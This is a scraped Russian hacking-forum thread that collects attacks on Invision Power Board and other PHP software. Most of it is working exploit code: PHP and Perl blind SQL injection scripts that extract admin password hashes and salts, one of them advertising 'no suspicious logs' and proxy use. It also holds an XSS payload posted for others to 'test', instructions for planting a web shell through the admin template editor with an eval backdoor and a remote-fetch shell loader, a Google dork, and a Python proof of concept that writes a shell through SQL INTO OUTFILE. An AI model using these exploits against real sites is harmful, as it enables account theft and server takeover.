1) SQL Injection в "search.php" С помощью параметра "search_term" можно выполнить произвольные SQL запросы о сервере баз данных. Из admin/applications/core/modules_public/search/search.php Как показано выше, представленные пользователем параметра "search_term" обрабатывается с использованием PHP функции "urldecode ()". Если злоумышленник использует "% 2527" в запрос HTTP, затем "urldecode ()" получит аргумент "27%", а после urldecoding оно будет " '" (одиночная кавычка). содержание admin/applications/forums/extensions/searchPlugin.php Исходный код показывает, что потенциально небезопасных переменная "search_term" используется для построения SQL-запросов. Очевидно, данные санитарной обработки после использования "urldecode ()" это необходимо, но в данном случае не имеется достаточных санации Данные, введенные пользователем. Таким образом, удаленный неавторизованный злоумышленник управлять базой данных и приведи конфиденциальной информации, для примера полномочия администратора. 2) SQL-инъекция в "lostpass.php" С помощью unsanitized пользователей представленных данных в SQL запросов с помощью параметра "помощь", проверку подлинности удаленного злоумышленника может привести IP.Board выполнить произвольные SQL заявления о сервере баз данных. Как видно выше, пользователь представленного параметром "помощи" обрабатывается с использованием PHP функции "urldecode ()". Если злоумышленник использует "% 2527" в GET запросе, а затем "urldecode () будет получать аргументы, как" 27% ", а после urldecoding оно будет" ' "(одиночная кавычка). Переменная "in_validate_key" Предположим, что это будет Sanitized этой функции: Однако, "md5Clean ()" Неправильно используется в данном случае, и поэтому оно не делает его работу, как ожидалось. Чтобы результат удаленный неавторизованный злоумышленник управлять базой данных и приведи конфиденциальной информации или обхода контроля доступа.
IPB 3.0.1 sql injection exploit <?php error_reporting(E_ALL); ////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// // IPB 3.0.1 sql injection exploit // Version 1.0 // written by Cryptovirus // http://de.crypt.in/ // 31. january 2010 // // FEATURES: // 1. Fetching algorithm optimized for speed // 2. Attack goes through $_POST, so no suspicious logs // 3. Pretesting saves time if IPB is not vulnerable // 4. curl extension autoloading // 5. log format compatible with passwordspro // // NB! This exploit is meant to be run as php CLI! // http://www.php.net/features.commandline /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// //===================================================================== $cli = php_sapi_name() === 'cli'; //===================================================================== // Die, if executed from webserver //===================================================================== if(!$cli) { echo "<html><head><title>Attention!</title></head>\n"; echo "<body><br /><br /><center>\n"; echo "<h1>Error!</h1>\n"; echo "This exploit is meant to be used as php CLI script!<br />\n"; echo "More information:<br />\n"; echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n"; echo "This script will not run through a webserver.<br />\n"; echo "</center></body></html>\n"; exit; } //===================================================================== // Print the awesome de.crypt.in logo //===================================================================== echo "\n _ _ _ "; echo "\n __| | ___ ___ _ __ _ _ _ __ | |_ (_)_ __ "; echo "\n / _` |/ _ \ / __| '__| | | | '_ \| __| | | '_ \ "; echo "\n| (_| | __/| (__| | | |_| | |_) | |_ _| | | | |"; echo "\n \__,_|\___(_)___|_| \__, | .__/ \__(_)_|_| |_|"; echo "\n |___/|_| \n\n"; //===================================================================== // Check if all command line arguments were passed //===================================================================== if(!isset($argv[1])||!isset($argv[2])||!isset($argv[3])){ echo "Usage: php ".$_SERVER['PHP_SELF']." <target> <userid> <option> [login] [password]\n"; echo "\n"; echo "NOTE: Login and password are optional, use for forums that require registration.\n"; echo "Options: 1 - Fetch username, 2 - Fetch password hash\n\n"; echo "Example: php ".$_SERVER['PHP_SELF']." http://ipb.com/board/ 1 1 foo bar\n"; die; } //===================================================================== // Set some important variables... //===================================================================== $topicname = ''; $url = $argv[1]; $chosen_id = $argv[2]; $ch_option = $argv[3]; if(isset($argv[4])){ if(isset($argv[5])){ $user_login = $argv[4]; $user_pass = $argv[5]; } else{ echo "Error: Password not specified with username\n"; die; } } # Proxy settings # Be sure to use proxy //$proxy_ip_port = '127.0.0.1:8118'; //$proxy_user_password = 'someuser:somepassword'; $outfile = './ipb_log.txt'; //Log file if(!extension_loaded('curl')) { if(!dl('php_curl.dll')) { die("Curl extension not loaded!\n Fatal exit ...\n"); } else { echo "Curl loading success\n"; } } //===================================================================== xecho("Target: $url\n"); xecho("Testing target URL ... \n"); test_target_url(); xecho("Target URL seems to be valid\n"); add_line("=========================================="); add_line("Target: $url"); if(isset($argv[4])){ login_to_forum($argv[4], $argv[5]); } $i = $chosen_id; echo "Fetching topics from ID $i\n"; if(!fetch_target_id($i)) { echo "No topics found.\n"; fwrite(STDOUT, "Last ditch effort, enter topic: "); $topicname = trim(fgets(STDIN)); } else echo "Topic found! Hacktime.\n"; // Check chosen option and proceed accordingly add_line("------------------------------------------"); if($ch_option == 2){ $hash = get_hash($i); $salt = get_salt($i); $line = "$i:$hash:$salt"; add_line($line); xecho("\n------------------------------------------\n"); xecho("User ID: $i\n"); xecho("Hash: $hash\n"); xecho("Salt: $salt"); xecho("\n------------------------------------------\n"); } else if($ch_option == 1){ $uname = get_user($i); $line = "The username for id $i is $uname"; add_line($line); xecho("$uname"); } xecho("\nQuestions and feedback - http://de.crypt.in/ \n"); die(" \n"); ////////////////////////////////////////////////////////////////////// function login_to_forum($user, $pass) { global $url; $post = 'app=core&module=global§ion=login&do=process&username='.$user.'&password='.$pass.'&rememberMe=1'; $buff = trim(make_post($url, $post, '', $url)); if(strpos($buff,'The login was successful!')>0){ xecho("Logged in.\n"); } else{ xecho("Error: Unable to login."); die; } } ////////////////////////////////////////////////////////////////////// function test_target_url() { global $url; $post = 'app=core&module=search§ion=search&do=quick_search&search_app=core&fromsearch=1&search_filter_app%5Ball%5D=1&content_title_only=1&search_term=test%2527'; $buff = trim(make_post($url, $post, '', $url)); if(strpos($buff,'Moved Permanently')>0) { die('Ivalid. Try adding trailing slash to url. Exiting ...'); } if(strpos($buff,'No results found for')>0) { die('Target is patched? Exiting ...'); } } ////////////////////////////////////////////////////////////////////// function fetch_target_id($id) { global $url, $topicname; $post = 'app=core&module=search&do=user_posts&mid='.$id.'&view_by_title=1&search_filter_app%5Bforums%5D=1'; $buff = trim(make_post($url, $post, '', $url)); if(strpos($buff,'View result')>0){ $location = strpos($buff,'View result'); $start = strpos($buff,'>',$location)+1; $end = strpos($buff,'</a>',$start); $topicname = substr($buff,$start,($end-$start)); return true; } else return false; } /////////////////////////////////////////////////////////////////////// function get_salt($id) { $len = 5; $out = ''; xecho("Finding salt ...\n"); for($i = 1; $i < $len + 1; $i ++) { $ch = get_saltchar($i, $id); xecho("Got pos $i --> $ch\n"); $out .= "$ch"; xecho("Current salt: $out \n"); } xecho("\nFinal salt for ID $id: $out\n\n"); return $out; } /////////////////////////////////////////////////////////////////////// function get_saltchar($pos, $id) { global $prefix; $char = ''; $min = 32; $max = 128; $pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_salt,'.$pos.',1))'; $curr = 0; while(1) { $area = $max - $min; if($area < 2 ) { $post = $pattern . "=$max"; $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $post = $pattern . '%253e' . $curr; $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } xecho("Current test: $curr-$max-$min\n"); } return $char; } /////////////////////////////////////////////////////////////////////// function get_hash($id) { $len = 32; $out = ''; xecho("Finding hash ...\n"); for($i = 1; $i < $len + 1; $i ++) { $ch = get_hashchar($i, $id); xecho("Got pos $i --> $ch\n"); $out .= "$ch"; xecho("Current hash: $out \n"); } xecho("\nFinal hash for ID $id: $out\n\n"); return $out; } /////////////////////////////////////////////////////////////////////// function get_hashchar($pos, $id) { global $prefix; $char = ''; $pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_hash,'.$pos.',1))'; // First let's determine, if it's number or letter $post = $pattern . '%253e57'; $letter = test_condition($post); if($letter) { $min = 97; $max = 102; xecho("Char to find is [a-f]\n"); } else { $min = 48; $max = 57; xecho("Char to find is [0-9]\n"); } $curr = 0; while(1) { $area = $max - $min; if($area < 2 ) { $post = $pattern . "=$max"; $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $post = $pattern . '%253e' . $curr; $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } xecho("Current test: $curr-$max-$min\n"); } return $char; } /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// function get_user($id) { $len = 32; $out = ''; xecho("Finding username ...\n"); for($i = 1; $i < $len + 1; $i ++) { $ch = get_userchar($i, $id); xecho("Got pos $i --> $ch\n"); $out .= "$ch"; xecho("Current username: $out \n"); } xecho("\nFinal username for ID $id: $out\n\n"); return $out; } /////////////////////////////////////////////////////////////////////// function get_userchar($pos, $id) { global $prefix; $char = ''; $pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.name,'.$pos.',1))'; // First let's determine, if it's number or letter $post = $pattern . '%253e57'; $letter = test_condition($post); if($letter) { $min = 65; $max = 122; xecho("Char to find is [a-f]\n"); } else { $min = 48; $max = 57; xecho("Char to find is [0-9]\n"); } $curr = 0; while(1) { $area = $max - $min; if($area < 2 ) { $post = $pattern . "=$max"; $eq = test_condition($post); if($eq) { $char = chr($max); } else { $char = chr($min); } break; } $half = intval(floor($area / 2)); $curr = $min + $half; $post = $pattern . '%253e' . $curr; $bigger = test_condition($post); if($bigger) { $min = $curr; } else { $max = $curr; } xecho("Current test: $curr-$max-$min\n"); } return $char; } /////////////////////////////////////////////////////////////////////// function test_condition($p) { global $url; global $topicname; $bret = false; $maxtry = 10; $try = 1; $pattern = 'app=core&module=search§ion=search&do=quick_search&search_app=core&fromsearch=1&search_filter_app%%5Ball%%5D=1&content_title_only=1&search_term='.$topicname.'%%2527 IN BOOLEAN MODE) AND %s AND MATCH(t.title) AGAINST(%%2527'.$topicname; $post = sprintf($pattern, $p); while(1) { $buff = trim(make_post($url, $post, '', $url)); if(strpos($buff,'Your search for the term <em><strong>')>0) { $bret = true; break; } elseif(strpos($buff,'No results found for')>0) { break; } elseif(strpos($buff, 'Driver Error</title>') !== false) { die("Sql error! Wrong prefix?\nExiting ... "); } else { xecho("test_condition() - try $try - invalid return value ...\n"); xecho("Will wait 30 seconds for flood control. Expect 2-3 tries.\n"); xecho("This is going to take years...\n"); sleep(10); $try ++; if($try > $maxtry) { die("Too many tries - exiting ...\n"); } else { xecho("Trying again - try $try ...\n"); } } } return $bret; } /////////////////////////////////////////////////////////////////////// function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE) { $ch = curl_init(); $timeout = 120; curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1'); curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); curl_setopt ($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); if(!empty($GLOBALS['proxy_ip_port'])) { curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']); if(!empty($GLOBALS['proxy_user_password'])) { curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']); } } if(!empty($cookie)) { curl_setopt ($ch, CURLOPT_COOKIE, $cookie); } if(!empty($referer)) { curl_setopt ($ch, CURLOPT_REFERER, $referer); } if($headers === TRUE) { curl_setopt ($ch, CURLOPT_HEADER, TRUE); } else { curl_setopt ($ch, CURLOPT_HEADER, FALSE); } $fc = curl_exec($ch); curl_close($ch); return $fc; } /////////////////////////////////////////////////////////////////////// function add_line($line) { global $outfile; $line .= "\r\n"; $fh = fopen($outfile, 'ab'); fwrite($fh, $line); fclose($fh); } /////////////////////////////////////////////////////////////////////// function xecho($line) { if($GLOBALS['cli']) { echo "$line"; } else { $line = nl2br(htmlspecialchars($line)); echo "$line"; } } /////////////////////////////////////////////////////////////////////// ?>
Exploit Hack Forum IPB >3.1.4 CP n Perl Exploit Hack Forum IPB 3.1.4 CP n Perl SQL Injection Exploit PHP: #!/usr/bin/perl ## Invision Power Board SQL injection exploit by RTC-GNC-XxxEmchExxX ## vulnerable forum versions : 1.* , 2.* ,3.*(<3.1.4) ## tested on version 1 Final and version 3.1.4 ## * work on all mysql versions ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On) ## (c)oded by 1dt.w0lf ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## screen: ## ~~~~~~~ ## r57ipb3.pl blah.com /ipb13/ 1 0 ## [~] SERVER : blah.com ## [~] PATH : /ipb13/ ## [~] MEMBER ID : 1 ## [~] TARGET : 0 - IPB 1.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99 ## ## r57ipb3.pl blah.com /ipb314/ 1 1 ## [~] SERVER : blah.com ## [~] PATH : /ipb314/ ## [~] MEMBER ID : 1 ## [~] TARGET : 1 - IPB 2.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d ## ## r57ipb3.pl blah.com /ipb314/ 1 1 ## [~] SERVER : blah.com ## [~] PATH : /ipb314/ ## [~] MEMBER ID : 1 ## [~] TARGET : 1 - IPB 3.* ## [~] SEARCHING PASSWORD ... [ DONE ] ## ## MEMBER ID : 1 ## MEMBER_LOGIN_KEY : f103c2ff0937a1e1def351c34bf22d ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## Greets: James Bercegay of the GulfTech Security Research Team N RST/GHC ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## Credits: XxxEmchExxX , www.xxxemchexxx.blogspot.com ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ use IO::Socket; if (@ARGV < 4) { &usage; } $server = $ARGV[0]; $path = $ARGV[1]; $member_id = $ARGV[2]; $target = $ARGV[3]; $pass = ($target)?('member_login_key'):('password'); $server =~ s!(http:\/\/)!!; $request = 'http://'; $request .= $server; $request .= $path; $s_num = 1; $|++; $n = 0; print "[~] SERVER : $server\r\n"; print "[~] PATH : $path\r\n"; print "[~] MEMBER ID : $member_id\r\n"; print "[~] TARGET : $target"; print (($target)?(' - IPB 3.*'):(' - IPB 2.*'):(' - IPB 1.*')); print "\r\n"; print "[~] SEARCHING PASSWORD ... [|]"; ($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; while(1) { if(&found(47,58)==0) { &found(96,122); } $char = $i; if ($char=="0") { if(length($allchar) > 0){ print qq{\b\b DONE ] MEMBER ID : $member_id }; print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : ')); print $allchar."\r\n"; } else { print "\b\b FAILED ]"; } exit(); } else { $allchar .= chr(42); } $s_num++; } sub found($$) { my $fmin = $_[0]; my $fmax = $_[1]; if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; } $r = int($fmax - ($fmax-$fmin)/2); $check = " BETWEEN $r AND $fmax"; if ( &check($check) ) { &found($r,$fmax); } else { &found($fmin,$r); } } sub crack($$) { my $cmin = $_[0]; my $cmax = $_[1]; $i = $cmin; while ($i<$cmax) { $crcheck = "=$i"; if ( &check($crcheck) ) { return $i; } $i++; } $i = 0; return $i; } sub check($) { $n++; status(); $ccheck = $_[0]; $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D"; $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28"; $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*"; $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%21%20"; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80"); printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n", $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh); while(<$socket>) { if (/Set-Cookie: session_id=0;/) { return 1; } } return 0; } sub status() { $status = $n % 5; if($status==0){ print "\b\b/]"; } if($status==1){ print "\b\b-]"; } if($status==2){ print "\b\b\\]"; } if($status==3){ print "\b\b|]"; } } sub usage() { print q( Invision Power Board v < 3.1.4 SQL injection exploit ---------------------------------------------------- USAGE: ~~~~~~ r57ipb3.pl [server] [/folder/] [member_id] [target] [server] - host where IPB installed [/folder/] - folder where IPB installed [member_id] - user id for brute targets: 0 - IPB 1.* 1 - IPB 2.* 2 - IPB 3.* (Prior To 3.1.4) e.g. r57ipb3.pl 127.0.0.1 /IPB/ 1 1 ---------------------------------------------------- (c)oded by 1dt.w0lf RST/GHC , http://rst.void.ru , http://ghc.ru ); exit(); } AUTHOR: RTC-GNC-XxxEmchExxX Для удобство измените 72 строку на PHP: print $target(' - IPB 3.*');
Только что нашел дырку на каком-то ipb 3.x.x, кому не в падлу затестите плз, у самого на подобное времени нет. Регистрируем акк состоящий из нулей, например "00000" Дальше идем в профиль, вставляем в подпись На странице со своим профилем получаем код: Code: <meta name="description" content="00000: ;url=javascript:alert('Fuck off');" HTTP-EQUIV="refresh" /> Проверял, на опере алерт вылетает, на хроме нет. [offtop]Да.. активность в разделе, как никогда раньше)[/offtop] Проверил, баг присутствует во всех 3 версиях вплоть до последней 3.1.4.
Нашёл уязвимость на форумах IPB 3.x.x (Работает вплоть до 3.2.2.) Code: [CENTER][COLOR=Green]Раскрытие путей.[/COLOR][/CENTER] (должен быть доступен upgrade) http://форум/admin/upgrade/index.php?app=upgrade&s=§ion[]=index&do=login Также раскрытие доступно через. HTTP Live Header. Смотрим заголовки,меняем в http://форум/admin/upgrade/index.php?app=upgrade&s=§ion=index&do=login запрос do=login&username=asd&password=asd(пример запроса) на do=login&username[]=asd&password[]=asd
Заливка шелла IPB 3.x Вроде такого не было: 1) Идем в админку => Внешний вид => IP.Board(текущий шаблон) => globalTemplate 2) Ставим код между тегами <php> и </php> и жмем Сохранить. 3) Ваш код доступен по адрес http://site/forum/index.php Не советую туда вставлять бэкдор, типа: if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e'])); Так как залитый шелл этим бэкдором будет nobody. Поэтому лучше сразу: PHP: $a = file_get_contents(http://site/shell.txt); //ваш адрес шелла $b ='/path/to/writeable/dir/'; //папка доступная для записи $c = fopen($br.'shell.php', "w"); fwrite($c, $a); fclose($c); Тогда шелл будет выполнятся как другие скрипты на сервере.
Testing target URL ... Fetching topics from ID 1 No topics found. Last ditch effort, enter topic: ???
AnGrY BoY/Siteframe 3.2.3 SQL Injection Code: # Exploit Title: Siteframe 'user.php' SQL Injection Vulnerability # Google Dork: "powered by Siteframe" # Date: 29/12/2010 # Author: AnGrY BoY # Software Link: http://sitefrane.org/downloads/ # Version: Siteframe 3.2.3 # Tested on: windows SP2 # CVE : N/A # expolit: # http://localhost/path/user.php?id=[SQL] # http://localhost/path/user.php?id=-2+UNION+SELECT+1,2,3,4,5,concat(user_email,0x3e,user_passwd),7,8,9,10,11+from+users-- ====================================================================================== # Special Thanks:- all h4kurd members Vasil A./Invision Power Board 3.2.3 Cross Site Scripting Code: Name : Cross-site scripting vulnerability in Invision Power Board version 3.2.3 Software : Invision Power Board version 3.2.3 Vendor Homepage : http://www.invisionpower.com Vulnerability Type : Cross-site scripting Researcher : Vasil A. [email protected] Description -------------------- Invision Power Board (abbreviated IPB, IP.Board or IP Board) is an Internet forum software produced by Invision Power Services, Inc. It is written in PHP and primarily uses MySQL as a database management system, although support for other database engines is available. Details -------------------- IP Board is affected by a Cross-site scripting vulnerability in version 3.2.3. Example PoC url is as follows : http://example.com/forums/index.php?showforum=53"><script>with(document)alert(cookie)</script> Additional notes: 1.If a forum contain sub-forums this vulnerability don't exist. 2.Most of boards uses "Friendly Url style",but the attack can be performed by using "legacy URL style" in the query,e.g : http://example.com/forum/index.php?showforum=2"><script>alert(/xss/.source)</script> instead: http://example.com/forum/index.php?/forum/2-example/ Solution -------------------- The vendor issued patch for this vulnerability. Please see the references. Advisory Timeline -------------------- 10/03/2012 - First contact: Sent the vulnerability details 12/03/2012 - Second contact: Ask for patch 14/03/2012 - Vulnerability Fixed 15/03/2012 - Vulnerability Released Credits ------------------- It has been discovered on testing of Netsparker, Web Application Security Scanner - http://www.mavitunasecurity.com/netsparker/. AutoSec Tools/LightNEasy 3.2.3 SQL Injection Code: # ------------------------------------------------------------------------ # Software................LightNEasy 3.2.3 # Vulnerability...........SQL Injection # Threat Level............Critical (4/5) # Download................http://www.lightneasy.org/ # Discovery Date..........4/21/2011 # Tested On...............Windows Vista + XAMPP # ------------------------------------------------------------------------ # Author..................AutoSec Tools # Site....................http://www.autosectools.com/ # Email...................John Leitch <[email protected]> # ------------------------------------------------------------------------ # # # --Description-- # # A SQL injection vulnerability in LightNEasy 3.2.3 can be exploited to # extract arbitrary data. In some environments it may be possible to # create a PHP shell. # # # --PoC-- import socket host = 'localhost' path = '/lne323' shell_path = '/shell.php' port = 80 def upload_shell(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) s.send('POST ' + path + '/index.php?do=&page= HTTP/1.1\r\n' 'Host: localhost\r\n' 'Proxy-Connection: keep-alive\r\n' 'User-Agent: x\r\n' 'Content-Length: 73\r\n' 'Cache-Control: max-age=0\r\n' 'Origin: null\r\n' 'Content-Type: multipart/form-data; boundary=----x\r\n' 'Cookie: userhandle=%22UNION/**/SELECT/**/CONCAT(char(60),char(63),char(112),char(104),char(112),char(32),char(115),char(121),char(115),char(116),char(101),char(109),char(40),char(36),char(95),char(71),char(69),char(84),char(91),char(39),char(67),char(77),char(68),char(39),char(93),char(41),char(59),char(32),char(63),char(62)),%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22/**/FROM/**/dual/**/INTO/**/OUTFILE%22../../htdocs/shell.php%22%23\r\n' 'Accept: text/html\r\n' 'Accept-Language: en-US,en;q=0.8\r\n' 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n' '\r\n' '------x\r\n' 'Content-Disposition: form-data; name="submit"\r\n' '\r\n' '\r\n' '------x--\r\n' '\r\n') resp = s.recv(8192) http_ok = 'HTTP/1.1 200 OK' if http_ok not in resp[:len(http_ok)]: print 'error uploading shell' return else: print 'shell uploaded' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\ 'Host: ' + host + '\r\n\r\n') if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found' else: print 'shell located at http://' + host + shell_path upload_shell()
забавно, никто не отпостил даже Code: [waraxe-2012-SA#086] - Local File Inclusion in Invision Power Board 3.3.0 ======================================================================== ======= Author: Janek Vind "waraxe" Date: 12. April 2012 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-86.html CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2226 Description of vulnerable software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ Invision Power Board (abbreviated IPB, IP.Board or IP Board) is an Internet forum software produced by Invision Power Services, Inc. It is written in PHP and primarily uses MySQL as a database management system, although support for other database engines is available. Vulnerable versions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ Affected are Invision Power Board versions 3.3.0 and 3.2.3, older versions may be vulnerable as well. ######################################################################## ####### 1. Local File Inclusion in "like.php" function "_unsubscribe" ######################################################################## ####### CVE Information: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2012-2226 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems. Vulnerability Details: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ Reason: using unsanitized user submitted data for file operations Attack vector: user submitted GET parameter "key" Preconditions: 1. attacker must be logged in as valid user 2. PHP must be < 5.3.4 for null-byte attacks to work Result: remote file disclosure, php remote code execution Source code snippet from vulnerable script "like.php": -----------------[ source code start ]--------------------------------- protected function _unsubscribe() { /* Fetch data */ $key = trim( IPSText::base64_decode_urlSafe( $this->request['key'] ) ); list( $app, $area, $relId, $likeMemberId, $memberId, $email ) = explode( ';', $key ); /* Member? */ if ( ! $this->memberData['member_id'] ) { $this->registry->output->showError( 'no_permission', 'pcgl-1' ); } if ( ! $app || ! $area || ! $relId ) { $this->registry->output->showError( 'no_permission', 'pcgl-1' ); } if ( ( $memberId != $likeMemberId ) || ( $memberId != $this->memberData['member_id'] ) ) { $this->registry->output->showError( 'no_permission', 'pcgl-2' ); } if ( $email != $this->memberData['email'] ) { $this->registry->output->showError( 'no_permission', 'pcgl-3' ); } /* Think we're safe... */ $this->_like = classes_like::bootstrap( $app, $area ); -----------------[ source code end ]----------------------------------- As seen above, user submitted parameter "key" is first base64 decoded and then splitted to six variables. After multiple checks function "bootstrap()" is called, using unvalidated user submitted data for arguments. Source code snippet from vulnerable script "composite.php": -----------------[ source code start ]--------------------------------- static public function bootstrap( $app=null, $area=null ) { .. if( $area != 'default' ) { $_file = IPSLib::getAppDir( $app ) . '/extensions/like/' . $area . '.php'; .. } .. if ( ! is_file( $_file ) ) { .. throw new Exception( "No like class available for $app - $area" ); .. } .. $classToLoad = IPSLib::loadLibrary( $_file, $_class, $app ); -----------------[ source code end ]----------------------------------- We can see, that variable "$_file" is composed using unvalidated argument "area". Next there is check for file existence and in case of success next function, "loadLibrary", is called, using unvalidated argument "$_file". Source code snippet from vulnerable script "core.php": -----------------[ source code start ]--------------------------------- static public function loadLibrary( $filePath, $className, $app='core' ) { /* Get the class */ if ( $filePath != '' ) { require_once( $filePath );/*noLibHook*/ } -----------------[ source code end ]----------------------------------- As seen above, "require_once" function is used with unvalidated argument. Test: we need to construct specific base64 encoded payload. First, semicolon-separated string: forums;/../../test;1;1;1;come2waraxe (at) yahoo (dot) com [email concealed] Email address and other components must be valid for successful test. After base64 encoding: Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlhaG9vLmNvbQ Now let's log in as valid user and then issue GET request: http://localhost/ipb330/index.php?app=core&module=global§ion=like &do=unsubscribe&key=Zm9ydW1zOy8uLi8uLi90ZXN0OzE7MTsxO2NvbWUyd2FyYXhlQHlh aG9vLmNvbQ Result: Fatal error: Uncaught exception 'Exception' with message 'No like class available for forums - /../../test' in C:\apache_www\ipb330\admin\sources\classes\like\composite.php:333 Stack trace: #0 C:\apache_www\ipb330\admin\applications\core\modules_public\global\like. php(131): classes_like::bootstrap('forums', '/../../test') #1 C:\apache_www\ipb330\admin\applications\core\modules_public\global\like. php(44): public_core_global_like->_unsubscribe() #2 C:\apache_www\ipb330\admin\sources\base\ipsController.php(306): public_core_global_like->doExecute(Object(ipsRegistry)) #3 C:\apache_www\ipb330\admin\sources\base\ipsController.php(120): ipsCommand->execute(Object(ipsRegistry)) #4 C:\apache_www\ipb330\admin\sources\base\ipsController.php(65): ipsController->handleRequest() #5 C:\apache_www\ipb330\index.php(26): ipsController::run() #6 {main} thrown in C:\apache_www\ipb330\admin\sources\classes\like\composite.php on line 333 Potential attack scenario: 1. Attacker registers to target forum and logs in as valid user 2. Attacker uploads avatar picture with malicious php code to target server 3. Attacker issues carefully crafted GET or POST request and as result gets php level access There are many other ways to exploit LFI (Local File Inclusion) vulnerabilities, for example by using procfs ("proc/self/environ") on *nix platforms. How to fix: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~ Update to new version 3.3.1 http://community.invisionpower.com/topic/360518-ipboard-331-ipblog-252-i pseo-152-and-updates-for-ipboard-32x-ipgallery-42x-released/ Disclosure Timeline: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~ 27.03.2012 Developers contacted via email 28.03.2012 Developers confirmed upcoming patch 11.04.2012 Developers announced new version release 12.04.2012 Advisory released Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ come2waraxe (at) yahoo (dot) com [email concealed] Janek Vind "waraxe" Waraxe forum: http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------
